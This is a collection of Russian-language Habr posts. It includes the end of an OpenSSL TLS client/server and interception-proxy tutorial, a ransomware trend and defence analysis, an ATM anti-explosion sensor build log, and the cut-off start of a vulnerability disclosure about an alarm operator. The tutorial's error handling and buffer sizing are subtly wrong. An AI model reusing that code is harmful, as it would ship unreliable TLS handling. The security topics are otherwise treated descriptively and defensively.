                  }
                  
                  if (SSL_set_fd(ssl, sock) != 1)
                  {
                      //Обработка ошибки
                  }

                  Последний штрих — само подключение:


                  if (SSL_connect(ssl) != 1)
                  {
                      //Обработка ошибки
                  }

                  Чтение данных


                  Для чтения данных из SSL-сокета нужно использовать функцию:


                  int SSL_read(SSL *ssl, void *buf, int num);

                  Она читает в буфер данные из сокета, привязанного к SSL-структуре. Если нужно узнать, есть ли в буфере сокета данные, которые нужно прочитать, можно использовать функцию


                  int SSL_pending(const SSL *ssl);

                  Т.е. для чтения можно использовать такую конструкцию:


                  const int size = SSL_pending(ssl);
                  char *buf = new char[size];
                  memset(buf, 0, size);
                  
                  if (SSL_read(ssl, buf, size) <= 0)
                  {
                      //Обработка ошибки
                  }

                  В результате в буфере будут находиться уже декодированные данные.


                  Запись данных


                  Для записи используется функция:


                  int SSL_write(SSL *ssl, const void *buf, int num);

                  На входе она получает указатель на SSL-структуру, которая будет осуществлять запись, сами данные и их размер.


                  Вот пример такой записи:


                  char buf[] = "12345678"
                  if (SSL_write(ssl, buf, strlen(buf)) <= 0)
                  {
                      //Обработка ошибки
                  }

                  Сервер


                  Серверная часть схожа с клиентской — в ней также требуется получить SSL-контекст, и в ней — те же функции чтения записи. Отличие состоит в том, что сервер должен подготовить контекст, чтобы отдать клиенту сертификат, а также организовать рукопожатие с клиентом.


                  Начнем с подготовки контекста:


                  const SSL_METHOD *method = SSLv23_server_method();
                  
                  SSL_CTX *ctx = NULL;
                  ctx = SSL_CTX_new(method);
                  if (ctx == NULL)
                  {
                      //Обработка ошибки
                  }

                  Документация говорит нам, о том, что выбор SSLv23_server_method позволит библиотеке самостоятельно определить максимально безопасную версию протокола из поддерживаемых клиентом.


                  Если нужно включить или выключить определенную версию или изменить другие настройки, можно воспользоваться функцией SSL_set_options. Документацию для нее можно найти здесь.


                  Загрузку X.509 сертификата и загрузку ключей мы рассмотрели чуть раньше, поэтому считаем, что у нас уже есть пара этих структур.


                  Установим для серверного контекста сертификат и ключ сертификата:


                  X509 *serverCert; //not null
                  EVP_PKEY *serverKey; //not null
                  
                  if (SSL_CTX_use_certificate(ctx, serverCert) != 1)
                  {
                      //Обработка ошибки
                  }
                  
                  if (SSL_CTX_use_PrivateKey(ctx, serverKey) != 1)
                  {
                      //Обработка ошибки
                  }

                  Наш сервер готов принимать входящие соединения. Пусть этим занимается обычный accept. Нас будет интересовать полученный от этой функции сокет.


                  Начинаем с того, что для каждого такого сокета, нам нужна новая SSL-структура:


                  SSL *ssl = NULL;
                  ssl = SSL_new(ctx);
                  if (ssl == NULL)
                  {
                      //Обработка ошибки
                  }

                  Теперь устанавливаем в эту структуру наш сокет:


                  int sock; //accepted tcp socket
                  
                  if (SSL_set_fd(ssl, sock) != 1)
                  {
                      //Hadle error
                  }

                  Сам механизм рукопожатия:


                  if (SSL_accept(ssl) != 1)
                  {
                      //Обработка ошибки
                  }

                  Стоит отметить следующий момент: если используемый нами сокет находится в неблокирующем режиме, то рукопожатие с первого раза не пройдет. В этом случае нужно проверять не только возвращаемое значение, но и код ошибки:


                  int ret = SSL_accept(ssl);
                  if (ret == 0)
                  {
                      //Обработка ошибки
                  }
                  if (ret < 0)
                  {
                      unsigned long error = ERR_get_error();
                      if (error == SSL_ERROR_WANT_READ ||
                          error == SSL_ERROR_WANT_WRITE ||
                          error == 0)
                      {
                          //Не ошибка, нужно дождаться получения следующего сообщения
                          //в протоколе рукопожатия
                      }
                      else
                      {
                          //Обработка ошибки
                      }
                  }
                  if (ret == 1)
                  {
                      //Подключено
                  }

                  После установки соединения мы можем использовать описанные ранее функции ввода-вывода для чтения и записи данных в сокет.


                  Пример работы


                  Сборка программы


                  Для сборки примера к статье нужно использовать команды:


                  mkdir build
                  cd build
                  cmake ..
                  make

                  Запуск


                  В папке сборки (build) следует выполнить:


                  ./openssl_api

                  При этом в этой же папке появится файл ca.crt — созданный программой
                  сертификат.


                  Чтобы проверить его работоспособность, нужно выполнить


                  cppurl --cacert ca.crt -v https://127.0.0.1:5566 -H "Host: taigasystem.com"

                  Первым параметром мы задаем используемый CA Сертификат, -v показывает нам все переданные и принятые сообщения. -H "Host: taigasystem.com" нужен, чтобы заметить в GET-запросе заголовок Host. Без этого параметра программа отработает, но в ответ на запрос мы получим 404-ю ошибку.


                  Вывод curl


                  Вот вывод запроса curl при запросе через нашу программу (не полный):


                  $ curl --cacert ca.crt -v https://127.0.0.1:5566 -H "Host: taigasystem.com"
                  * Rebuilt URL to: https://127.0.0.1:5566/
                  *   Trying 127.0.0.1...
                  * Connected to 127.0.0.1 (127.0.0.1) port 5566 (#0)
                  * found 1 certificates in ca.crt
                  * found 700 certificates in /etc/ssl/certs
                  * ALPN, offering http/1.1
                  * SSL connection using TLS1.2 / RSA_AES_128_GCM_SHA256
                  *        server certificate verification OK
                  *        server certificate status verification SKIPPED
                  *        common name: 127.0.0.1 (matched)
                  *        server certificate expiration date OK
                  *        server certificate activation date OK
                  *        certificate public key: RSA
                  *        certificate version: #3
                  *        subject: C=RU,CN=127.0.0.1,L=Moscow,O=Taigasystem,ST=Moscow
                  *        start date: Mon, 28 Aug 2017 07:36:42 GMT
                  *        expire date: Thu, 27 Aug 2020 07:36:42 GMT
                  *        issuer: C=RU,CN=127.0.0.1,L=Moscow,O=Taigasystem,ST=Moscow
                  *        compression: NULL
                  * ALPN, server did not agree to a protocol
                  > GET / HTTP/1.1
                  > Host: taigasystem.com
                  > User-Agent: curl/7.47.0
                  > Accept: */*
                  >
                  < HTTP/1.1 200 OK
                  < Server: nginx/1.4.6 (Ubuntu)
                  < Date: Mon, 28 Aug 2017 07:39:18 GMT
                  < Content-Type: text/html; charset=utf-8
                  < Transfer-Encoding: chunked
                  < Connection: keep-alive
                  < Vary: Accept-Language, Cookie
                  < X-Frame-Options: SAMEORIGIN
                  < Content-Language: ru
                  < Strict-Transport-Security: max-age=604800
                  <
                  ....

                  Видим следующее: во-первых, наш сертификат прочитан и принят; во-вторых, сервер ответил на запрос и передает ответ.


                  Вывод программы


                  После запуска программы и подключения к ней curl видим такой (неполный) вывод:


                  $ ./openssl_api
                  Библиотека OpenSSL инициализирована
                  Для проверки воспользуйтесь командой 'curl --cacert ca.crt -v https://127.0.0.1:5566 -H "Host: taigasystem.com" '
                  Структура хранения ключей создана
                  Создана структура BIGNUM
                  Изменен размер структуры BIGNUM
                  Создана RSA структура
                  Ключи сгенерированы
                  Ключи убраны в EVP
                  Сертификат создан. Длина подписи: 512
                  Структура хранения ключей создана
                  Создана структура BIGNUM
                  Изменен размер структуры BIGNUM
                  Создана RSA структура
                  Ключи сгенерированы
                  Ключи убраны в EVP
                  CSR создан. Длина подписи: 512
                  Сертификат создан. Длина подписи: 512
                  Структура для хранения ключей удалена
                  Сертификат успешно записан в ca.crt
                  SSL контекст создан
                  Сокет ожидает подключения на 5566 порту
                  Новое входящие соединение
                  Подключаемся к taigasystem.com на порту 443
                  Подключен к хосту taigasystem.com[188.225.73.237]:443
                  SSL контекст создан
                  SSL соединение с taigasystem.com:443 установлено
                  Цикл чтения/записи данных
                  #######################################
                  Прочитано 79 байт от клиента
                  #######################################
                  GET / HTTP/1.1
                  Host: taigasystem.com
                  User-Agent: curl/7.47.0
                  Accept: */*
                  
                  #######################################
                  Прочитано 4096 байт от сервера
                  #######################################
                  HTTP/1.1 200 OK
                  Server: nginx/1.4.6 (Ubuntu)
                  Date: Mon, 28 Aug 2017 07:39:18 GMT
                  Content-Type: text/html; charset=utf-8
                  Transfer-Encoding: chunked
                  Connection: keep-alive
                  Vary: Accept-Language, Cookie
                  X-Frame-Options: SAMEORIGIN
                  Content-Language: ru
                  Strict-Transport-Security: max-age=604800
                  ...

                  Т.е. очевидно, что мы получили GET-запрос от клиента (curl) и ответ на него от сервера.


                  Ссылки



                  Огромная благодарность за исследования tomasloh

                  Original source: habrahabr.ru (comments, light).

                  https://habrahabr.ru/post/338764/


                  Метки:  

                  Программы-шантажисты: угроза прошлого или будущего?

                  Вторник, 26 Сентября 2017 г. 16:27 + в цитатник
                  anna_er сегодня в 16:27 Разработка

                  Программы-шантажисты: угроза прошлого или будущего?

                    Если мы посмотрим на векторы атак, количество новых уникальных семейств вирусов и эволюцию вредоносных программ, то заметим что это становится наиболее серьёзной и распространённой угрозой для безопасности. Под катом я расскажу про анализ программ-шантажистов и защиту от них.



                    Анализ программ-шантажистов за 2016 год показал следующее:
                    • Каждый квартал года отправляется свыше 500 млн писем нежелательной почты, содержащих спам и загрузчики программ-шантажистов, которые пытаются автоматически установиться на компьютеры пользователей.
                    • Загрузчики программ-шантажистов поразили свыше 13,4 млн компьютеров.
                    • С другой стороны, 4,5 млн компьютеров были заражены вредоносным ПО Meadgive и Neutrino, основным атакующим кодом которых являются программы-шантажисты.
                    • В 2016 году программы-шантажисты были обнаружены на 3,9 млн ПК.

                    Воздействие программ-шантажистов коснулось не только частных пользователей, их жертвами также стали бизнес-компании и госсектор. После того как главные средства массовой информации сообщили об этих атаках, в том числе о том, что некая больница в Калифорнии заплатила злоумышленникам за восстановление важных медицинских файлов, а также о сбое в работе транспортной системы Сан-Франциско, представление о программах-шантажистах глубже вошло в общественное сознание. В сентябре отчет Европол назвал программы-шантажисты крупнейшей цифровой угрозой, оставившей позади вредоносное ПО для кражи данных и программы-трояны онлайн-банкинга.

                    Весьма примечательно, что по данным антивируса Windows Defender наблюдается интересная тенденция: достигнув пикового значения в августе 2016 года — 385 тыс. зарегистрированных случаев обнаружения программ-шантажистов — в сентябре их количество сократилось почти вдвое и продолжает падать.



                    Рис. 1. Ежемесячная частота обнаружения файлов полезной нагрузки программ-шантажистов за исключением загрузчиков и других компонентов. Некоторые данные по отрасли объединяют эти два показателя.

                    Означает ли эта тенденция, что конец программ-шантажистов предвиден? Если посмотреть на другие области распространения программ-шантажистов, оказывается, что это не так.

                    Блокировка программ-шантажистов в точке проникновения


                    Чтобы понять, действительно ли распространенность программ-шантажистов идет на спад, необходимо изучить другие области цепочки заражения, начиная с векторов атаки. Данные Windows Defender Antivirus говорят об обратном.

                    Трояны-загрузчики, распространяемые через рассылки электронной почты


                    Трояны-загрузчики, такие как Nemucod и Donoff, устанавливают на ПК программы-шантажисты. Эти загрузчики часто имеют вид файлов документов или ярлыков и распространяются через письма электронной почты.

                    Количество сообщений электронной почты, содержащих загрузчики программ-шантажистов, не снижалось. В последнем квартале 2016 года было зафиксировано 500 млн таких сообщений. За тот же период времени трояны-загрузчики заражали как минимум 1 млн ПК в месяц. Очевидно, что киберпреступники не прекращали использовать программы-шантажисты для атак на компьютеры пользователей. В действительности, вплоть до конца 2016 года мы стали свидетелями кампаний по рассылке сообщений электронной почты с эксплойтом Nemucod, распространявшим вирус Locky, и кампаний по рассылке вируса Donoff, через которые распространялся вирус Cerber.



                    Рис. 2. Хотя количество случаев обнаружения программ-шантажистов к концу 2016 года значительно сократилось, во втором полугодии по сравнению с первым частота заражения загрузчиками программ-шантажистов была в среднем выше.

                    Очевидно, что уменьшение случаев обнаружения программ-шантажистов обусловлено не тем, что киберпреступники стали менее усердны. По-прежнему отмечается огромное количество писем электронной почты, содержащих трояны-загрузчики программ-шантажистов. Однако заражение программами-шантажистами блокируется в точке их проникновения. Это интересный ход, поскольку в 2016 году распространители программ-шантажистов перешли от использования эксплойтов к сообщениям электронной почты как более эффективному вектору заражения.

                    Эксплойты


                    Эксплойт Neutrino применялся для установки на ПК программы-шантажиста Locky. В середине 2016 года частота заражения Neutrino возросла, заполнив нишу вируса Axpergle (также известного как Angler) после его исчезновения в июне. Очевидно, что распространенность Neutrino начала снижаться в сентябре, после того как его операторы передали бразды правления группам киберпреступников.

                    Еще один популярный эксплойт, Meadgive (также известный как RIG), поначалу распространял программу-шантажист Cerber. В 2016 году наблюдался постоянный рост Meadgive, который стал наиболее частым эксплойтом для рассылки вредоносного ПО. В декабре 2016 года началась кампания по рассылке Meadgive с последней версией вируса Cerber, которая проводилась в основном в Азии и Европе.

                    Хотя эксплойты используются все реже, программы-шантажисты продолжают задействовать эксплойты для заражения компьютеров. Это объясняется тем, что эксплойты позволяют программам-шантажистам повышать уровень разрешений и запускать потенциально опасные программы с меньшим количеством ограничений.

                    Хакеры ищут новые пути


                    Закат программ-шантажистов еще не наступил, и еще одним свидетельством тому являются многочисленные инновации вредоносного кода, зафиксированные в 2016 году.

                    Киберпреступники постоянно обновляют свой инструментарий. Например, в конце 2016 года были зафиксированы существенные обновления последней версии Cerber.

                    Эти усовершенствования вредоносного кода постепенно вводятся в атаках типа программа-шантажист как служба, при которых киберпреступники могут получить новейшие версии программ-шантажистов на нелегальных форумах. Это обеспечивает киберпреступников необходимыми ресурсами и мотивацией для организации атак.

                    Далее перечислены некоторые усовершенствования программ-шантажистов, свидетелями которых мы стали в 2016 году.

                    Атаки на серверы


                    Обнаружение программы-шантажиста Samas в начале 2016 года сделало эти программы главной угрозой для коммерческих компаний. Столкнувшись с программами-шантажистами, нацеленными на серверы, ИТ-администраторы были вынуждены не только позаботиться о защите конечных пользователей, но и усилить защиту серверов.

                    Кампании по распространению Samas использовали уязвимости серверов. Они искали уязвимые сети с помощью pen test и использовали различные компоненты для шифрования файлов на серверах.

                    Возможности вирусов-червей


                    Zcryptor имел свойство распространяться, а это означает, что некоторые программы-шантажисты могли переходить с одной конечной точки на другую, не прибегая к кампаниям по рассылке нежелательной почты. Вирус-червь обнаруживает сетевые и логические диски и съемные носители, которые он может использовать для распространения. В самом начале 2017 года был обнаружен вирус Spora, демонстрирующий аналогичное поведение.

                    Альтернативные способы оплаты и связи


                    Обычно программы-шантажисты требовали оплату через Биткойн на нелегальных веб-сайтах сети Tor. В ответ на уменьшение количества оплат со стороны жертв киберпреступники начали искать новые способы оплаты.

                    Программа-шантажист Dereilock, например, заставляла своих жертв связаться со злоумышленниками по Skype, а Telecrypt для связи со злоумышленниками предлагала воспользоваться службой обмена сообщениями Telegram Messenger.

                    Spora пошла по пути «условно-бесплатных» услуг — пару файлов жертвы могли расшифровать бесплатно, а за небольшую сумму можно было расшифровать некоторое количество файлов.

                    Новые методы шантажа


                    В 2016 году большинство программ-шантажистов начали использовать таймер обратного отсчета. Это заставляет жертву немедленно заплатить выкуп под страхом безвозвратной потери доступа к файлам.

                    Когда в марте вышла программа-шантажист Cerber, она произвела фурор: помимо обычного сообщения о выкупе в виде текстового и HTML-документа VBScript преобразовывал текст в аудио-сообщение с требованием выкупа. Поэтому Cerber был назван «говорящим шантажистом».

                    Другая программа-шантажист CornCrypt предлагала расшифровать файлы бесплатно при условии, что жертва заразит двух других пользователей. Злоумышленники рассчитывали на эффект снежного кома: чем больше жертв, тем больше вероятность того, что кто-то из них заплатит.

                    Новые семейства программ-шантажистов — лидеры рейтинга


                    Угроза со стороны программ-шантажистов вероятнее всего не ослабеет, о чем говорит появление новых семейств программ-шантажистов. Из свыше 200 обнаруженных активных семейств примерно половина была впервые зафиксирована в 2016 году.

                    В большинстве новых семейств программ-шантажистов применяется шифрование. Этот тип программ-шантажистов пришел на смену более старым версиям с блокировкой экрана, которые просто блокировали экран и не использовали шифрование файлов.

                    В 2016 году появилось много семейств программ-шантажистов, применяющих новые методы и приемы. При этом 68 % случаев обнаружения программ-шантажистов в 2016 году приходилось на пять лидеров.



                    Рис. 3. Cerber и Locky, обнаруженные в 2016 году, стали лидерами года среди программ-шантажистов

                    Интересно отметить, что два ведущих семейства программ-шантажистов были обнаружены лишь в 2016 году.

                    Cerber


                    Cerber была обнаружена в марте 2016 года и была названа по имени расширения файлов. С марта по декабрь она поразила свыше 600 тыс. ПК.

                    На нелегальных форумах Cerber предлагается «программа-шантажист как служба», поэтому злоумышленники могут рассылать ее без написания вредоносного кода. Ее работа в значительной степени определяется файлом конфигурации. Последняя версия Cerber может шифровать почти 500 типов файлов. Известно, что при поиске файлов для шифрования программа умеет выделять наиболее приоритетные папки. Распространяется Cerber в основном через рассылку нежелательной почты, содержащей загрузчик Donoff, выполняющий ее установку.



                    Рис. 4. Частота обнаружения Cerber резко сократилась с сентября, при этом распространенность Donoff, загрузчика Cerber, начала расти в декабре.

                    Также известно, что инфицирование вирусом Cerber производится посредством Meadgive или эксплойта RIG. Meadgive был ведущим эксплойтом в конце 2016 года.

                    Locky


                    В 2016 году Locky стала второй по распространенности программой-шантажистом, заразив свыше 500 тыс. компьютеров. Она была обнаружена в феврале и так же была названа по имени расширения файла. С тех пор она использует и другие расширения, в том числе .zepto, .odin, .thor, .aeris и .osiris.

                    Как и с Cerber, операторы по рассылке нежелательной почты подписываются на Locky как на «программу-шантажист как служба». Она содержит код для подпрограммы-шифровальщика, а также может получать ключи шифрования и сообщения о выкупе с удаленного сервера до шифрования файлов.

                    Изначально Locky распространялась через эксплойт Neutrino, позже стали использоваться рассылки нежелательной почты с вирусом Nemucod, который загружал и запускал Locky.



                    Рис. 5. Частота обнаружений Nemucod во второй половине 2016 года оставалась постоянной, несмотря на то что распространенность Locky за этот период существенно снизилась

                    Программы-шантажисты как глобальная угроза


                    В 2016 году программы-шантажисты превратились в реальную глобальную угрозу и были обнаружены более чем в 200 странах. Только в США программы-шантажисты поразили свыше 460 тыс. ПК. Следом идут Италия и Россия (252 тыс. и 192 тыс. случаев обнаружения соответственно). В Корее, Испании, Германии, Австралии и Франции зарегистрировано свыше 100 тыс. случаев инфицирования.



                    Рис. 6. Инфицирование программами-шантажистами зарегистрировано более чем в 200 странах

                    Наибольшее количество случаев инфицирования Cerber зарегистрировано в США: 27 % от общего числа заражений этим вирусом в мире. Другая мощная программа-шантажист, Locky, была обнаружена в 2016 году. Она стала вторым из наиболее распространенных семейств программ-шантажистов в США.

                    В Италии и России, напротив, более распространены старые версии программ-шантажистов. В Италии отмечено больше всего случаев инфицирования вирусом Critroni, который появился в 2014 году. Когда программа-шантажист Critroni только появилась, ее сообщения о выкупе были составлены на английском и русском языках. В последующих версиях появились другие европейские языки, включая итальянский.

                    Вирус Troldesh, обнаруженный в 2015 году, стал лидирующим по количеству заражений в России. После шифрования файлов Troldesh выводил на рабочий стол сообщение на русском и английском языках, в котором содержались указания о том, как связаться со злоумышленниками, и инструкции по оплате.



                    Рис. 7. Страны с наибольшей распространенностью программ-шантажистов — США, Италия, Россия, Корея, Испания — находятся под воздействием разных семейств вирусов, возможно из-за локального характера кампаний по рассылке нежелательной почты

                    Заключение: растущая угроза требует новых мер противодействия


                    Несмотря на спад в общем распространении программ-шантажистов, векторы атак, количество уникальных семейств вирусов и усовершенствования вредоносного кода говорят о том, что мы еще не видим конец этой многофакторной угрозы безопасности.

                    Microsoft создала и постоянно совершенствует ОС Windows 10, чтобы ваши средства защиты были напрямую встроены в операционную систему.

                    Защита от заражений программами-шантажистами


                    Большинство случаев инфицирования программами-шантажистами начинаются с получения писем по электронной почте, содержащих трояны-загрузчики. Это основной вектор, применяемый злоумышленниками для установки программ-шантажистов. Служба Advanced Threat Protection в Office 365 обладает возможностями машинного обучения, которые блокируют опасные письма, содержащие загрузчики программ-шантажистов.

                    Некоторые программы-шантажисты проникают на компьютеры посредством эксплойтов. Браузер Microsoft Edge поможет защитить ваш компьютер от программ-шантажистов, запрещая эксплойтам запускать и исполнять эти вирусы. Благодаря Microsoft SmartScreen браузер Microsoft Edge блокирует доступ к вредоносным веб-сайтам, которые могут содержать эксплойты.

                    Device Guard может блокировать устройства и обеспечивать защиту на уровне виртуализации ядра, разрешая запуск только доверенных приложений и запрещая запуск программ-шантажистов и другого опасного ПО.

                    Обнаружение программ-шантажистов


                    Создатели программ-шантажистов, возможно, являются одними из самых продуктивных злоумышленников, постоянно создающих новые семейства вирусов и обновляющих существующие. Они также весьма изобретательны в выборе векторов атаки для установки программ-шантажистов на ваши компьютеры.

                    Windows 10 помогает немедленно обнаружить атаку программы-шантажиста при первых признаках ее возникновения. Windows Defender Antivirus обнаруживает программы-шантажисты, а также эксплойты и трояны-загрузчики, которые их устанавливают. Используя облачные технологии, этот антивирус помогает защитить ваш компьютер от новейших угроз.

                    Windows Defender Antivirus встроен в Windows 10 и при включении обеспечивает защиту ПК от угроз в режиме реального времени. Регулярно обновляйте Windows Defender Antivirus и другое ПО для наиболее актуальной защиты вашего ПК.

                    Реагирование на атаки программ-шантажистов


                    Windows Defender Advanced Threat Protection (Windows Defender ATP) уведомляет специалистов системы безопасности о подозрительной активности. Эти действия характерны для некоторых семейств программ-шантажистов, таких как Cerber, и возможно, будут свойственны программам-шантажистам в будущем.

                    Ознакомительная версия Windows Defender ATP представляется бесплатно.

                    Усиленная защита в Windows 10 Creators Update


                    Среди существующих средств защиты наиболее мощным станет Windows 10 Creators Update, включающий Windows Defender Antivirus и интеграцию с Office 365 для создания многоуровневой защиты, уменьшающей уязвимость электронной почты для атак.

                    Windows Defender Antivirus усилит возможности контекстного распознавания и машинного обучения, которые выявляют поведенческие аномалии и помогают обнаруживать вирусы в разных точках цепочки инфицирования. Улучшенная интеграция с аналитикой угроз обеспечивает более быструю блокировку нежелательной почты.

                    Windows Defender ATP позволяет специалистам службы безопасности изолировать скомпрометированные ПК из корпоративной сети, прекращая распространение вируса в сети.

                    Это обновление также позволяет задать типы файлов, помещаемых на карантин, и запретить их последующее исполнение.

                    Угроза программ-шантажистов, возможно, еще не скоро исчезнет, однако Windows 10 будет по-прежнему совершенствовать защиту от этого вредоносного ПО.



                    Завтра, 27 сентября, в 10:00 (МСК) у нас пройдет международный онлайн-форум «You Trust IT. Путь к безопасности бизнеса!», на котором вы узнаете как обезопасить свой проект, избежать внешние угроз, минимизировать риски потери важной бизнес-информации и избежать убытков.

                    Участие бесплатно.
                    Original source: habrahabr.ru (comments, light).

                    https://habrahabr.ru/post/338690/


                    Метки:  

                    Как мы банкоматы от подрыва спасали

                    Вторник, 26 Сентября 2017 г. 16:03 + в цитатник
                    oWart сегодня в 16:03 Разработка

                    Как мы банкоматы от подрыва спасали

                      Дело было вечером, делать было нечего… решили мы банкомат взорвать исследовать. Не настоящий конечно, а тот, что на фото. Ну как… банкомат-то настоящий, но давно списанный и выступал для нас подопытным кроликом. Низкий поклон тем, у кого получается их грабить: я его и болгаркой пилил, и дрелью сверлил, и кувалдой долбил, и поджигал – ничего не берет, крепкий зараза, а современные и вовсе понадежнее будут.

                      Решил вот немного рассказать про свой опыт создания многофункционального прибора для защиты банкоматов. Статья имеет скорее повествовательный, нежели технический характер, но думаю, кому-нибудь да будет интересно почитать и посмотреть фотографии. В статье намеренно отсутствуют всевозможные имена действующих лиц / приборов / фирм.

                      Описание проблемы


                      Повадились у нас в стране взрывать банкоматы газом. Да так, что после этого помещение напоминает полигон военных действий.



                      Вот несколько фото с взрыва в городе Вязьма, Смоленской области в марте 2016 года.





                      Способ, признаться, интересный: дверь сейфа выбивает взрывной волной изнутри, а кассеты с деньгами остаются целыми – хватай да беги. Самый забавный случай был в Уфе в июне 2016 года. Воришка пришел в отделение банка с воздушными шарами, наполненными газом. И смех и грех…



                      Видео с камер наблюдения:



                      Вот вам даже шутка на этой волне:



                      Что имеется на данный момент


                      На данный момент в большинстве банкоматов установлены вибрационные охранные извещатели, которые срабатывают на механические воздействия: удары, наклон, вибрацию. Попробуйте стукнуть по банкомату ногой 3-5 раз, тут же приедут маски шоу.

                      Я специально ездил на 24-ю международную выставку технических средств охраны Securika в Санкт-Петербург в ноябре 2015 г., чтобы разузнать, что представлено на рынке в этой области.
                      Оффтопик:
                      Пожалуй, самый лучший момент за всю выставку (дико извиняюсь за вертикальное видео, отдельный котёл в аду меня уже ждет):



                      Один из приборов внутри выглядит вот так:



                      Достаточно простой прибор с цифровым акселерометром, пьезодатчиком вибрации с двумя каскадами усиления и микроконтроллером PIC16.

                      Его более старая модель (отковыряли от стенки банкомата):



                      Что необходимо


                      А необходимо нам измерять наличие газа в сейфе банкомата. Ну и про наклон/вибрацию не забываем, не будет же банк ставить в один банкомат несколько разных охранных приборов. Еще была необходимость реагировать на внутреннее задымление, ибо газовый резак неплохо дымит, а мы ведь должны защититься от всего.

                      Еще есть вариант именно защиты от подрыва, а не просто сигнализации: ставить в банкомат баллон с флегматизатором (вещество, противодействие взрыву газо-воздушной смеси) и заводить на клапан управляющий сигнал с датчика газа. Если прибор почуял газ, он открывает клапан баллона, флегматизатор выпускается в объем банкомата и поджег смеси становится невозможным. Такой вариант весьма дорогой, но, при желании, реализуем путем установки дополнительного оборудования.

                      Предполагаемое решение


                      Соорудить многофункциональный приборчик, который будет иметь в себе датчики:

                      • горючего газа (на термохимическом принципе измерения);
                      • наклона (цифровой акселерометр);
                      • дыма (оптическая камера);
                      • вибрации (пьезопластина на металлической чушке);
                      • отрыва от охраняемой поверхности (концевик);
                      • вскрытия корпуса прибора (концевик).

                      … и всевозможные релюшки для выдачи управляющего сигнала на пульт контроля (чаще всего на размыкание 12 В).

                      Датчик газа


                      Признаюсь, сначала мы попытались собрать прибор на китайском полупроводниковом датчике MQ-2, так любимом ардуинщиками за свою простоту. Мне стыдно, но решение принималось выше. Была маленькая надежда объединить в одном датчике газ и дым, т.к на нем заявлена чувствительность к дыму. Но мы достаточно быстро от него отказались: не удалось добиться стабильности показаний, он плавал сильнее необходимых погрешностей. Перешли на знакомую нам термохимию.

                      Информация с Wiki
                      Действие термохимического датчика основано на том, что при прохождении газо-воздушной смеси на поверхности катализатора возникает горение и выделяющееся тепло повышает температуру шарика. Вызванное этим увеличение сопротивления платиновой катушки регистрируется мостовой схемой, второе плечо которой не имеет оболочки — катализатора. При малых концентрациях изменение сопротивления находится в прямой зависимости от концентрации газа в окружающей среде. Типичное напряжение на датчике- несколько вольт, ток 0,1-0,3 ампера.

                      Термохимия в плане схемотехники тоже не особо требовательна: управляемый стабилизатор напряжения на ОУ с возможностью обеспечить плавный старт секунд за 40 и дифференциальный усилитель для усиления сигнала с моста датчика.

                      Акселерометр


                      С акселерометром вот у нас как-то сразу не заладилось. В отделе САПРа ошиблись с корпусом микросхемы, а я не заметил это при проверке, и мы выгнали платы в таком виде.

                      В комментариях к моей вчерашней статье на GT про производство печатных плат обсуждали возможность монтажа мелких корпусов на проводах… Я там как раз упомянул конкретно про этот случай: нам пришлось перевернуть акселерометр на спину и распаиваться тонким проводом МГТФ. Потом сверху капнули термоклеем и успешно отдали на испытания. Акселерометр взяли в корпусе LGA-14 (2x2x1мм), можете прикинуть по линейке 2мм, и каково это было.

                      При установке на стенку сейфа банкомата, прибор запоминает свое начальное положение и, в последствии, отсчитывает от него угол отклонения. В случае превышения заданного порога, выдается управляющий сигнал на реле. Акселерометр в данном случае используется только для определения угла наклона. Мы конечно пробовали снимать с него вибрацию, но особых успехов это не принесло.

                      Датчик дыма


                      В качестве датчика дыма использовалась оптическая камера вот такой конструкции. Принцип действия как во многих дымовых извещателях: инфракрасный светодиод светит в центр, свет на частицах дыма/пыли рассеивается (я заботливо нарисовал пыль в Paint’е) и некоторое количество попадает на принимающий фотодиод. Интенсивность задымления / запыления пропорциональна сигналу с фотодиода.

                      Правда, мы долго не могли подобрать эквивалент оптической плотности. Ведь использовать обычную оптическую меру, оптическая плотность которой нормируется на прямом пути прохождения оптического сигнала (такие у нас были в наличии), нельзя, т.к светодиод и фотодиод в камере расположены под углом 120 градусов друг к другу. Кто сталкивался с такими пожарными датчиками? Как их настраивают?

                      Для градуировки пришлось использовать реальный дымомер и поджигать тряпки в дымовой камере. Таким образом мы подобрали набор эквивалентных оптических мер и настроили порог срабатывания датчика. Правда, провонял я тогда прилично, было стыдно потом занимать очередь в столовой…

                      To be continued...


                      Дабы статья не получилась слишком тяжеловесной, сегодня я решил на этом остановиться.
                      Original source: habrahabr.ru (comments, light).

                      https://habrahabr.ru/post/338726/


                      Метки:  

                      [Из песочницы] Сага о Гольфстриме и гопниках

                      Вторник, 26 Сентября 2017 г. 15:56 + в цитатник
                      EXPOCOD сегодня в 15:56 Разработка

                      Сага о Гольфстриме и гопниках

                      Данная публикация носит исключительно информационный характер и призвана обратить внимание руководства крупного российского оператора систем охранной сигнализации "ГОЛЬФСТРИМ Охранные Системы" (далее — ГОЛЬФСТРИМ) на наличие уязвимости информационной системы, ставящей под удар защиту и безопасность граждан, а также федеральных органов исполнительной власти, доверивших защиту своего имущества данной компании.


                      ВНИМАНИЕ: Рекомендуем читать текст под музыку группы Каста-Скрепы, очень помогает глубже понять всю безнадежность ситуации, описанной ниже...


                      Предисловие


                      В нелёгкое время "цифровой экономики" и властных попыток зарегулировать Интернет, хотелось бы внести свою скромную лепту в совершенствование этого Мира и осветить отношение к ИБ со стороны одной частной компании. В нашей публикации мы покажем, как компания ГОЛЬФСТРИМ продемонстрировала свое наплевательское отношение к данному вопросу подставив тем самым не только рядовых пользователей-граждан, но также и органы исполнительной власти.


                      Некоторое время назад в распоряжении компании "Expocod" оказалась информация о наличии серьёзной уязвимости в информационной системе компании "ГОЛЬФСТРИМ". По имеющимся у нас достоверным данным, уязвимость позволяет получить доступ к персональным данным пользователей системы охранной сигнализации, а также осуществить удалённое управление состоянием сигнализации огромного количества объектов.


                      С момента получения данной информации нами предпринимались неоднократные попытки связаться с руководством компании "ГОЛЬФСТРИМ", однако до настоящего времени ни одна из таких попыток не увенчалась успехом (4 электронных письма, 3 телефонных звонка, сообщения в Telegram, визит в офис и очное общение с представителями компании). Учитывая то, что компания Expocod ставит своей задачей повышение общего уровня информационной безопасности в России, а также факты игнорирования представителями компании "ГОЛЬФСТРИМ" наших многочисленных сигналов, было принято решение о публикации имеющейся в нашем распоряжении информации в СМИ с раскрытием общих технических подробностей.


                      Общая информация о компании "ГОЛЬФСТРИМ Охранные Системы"


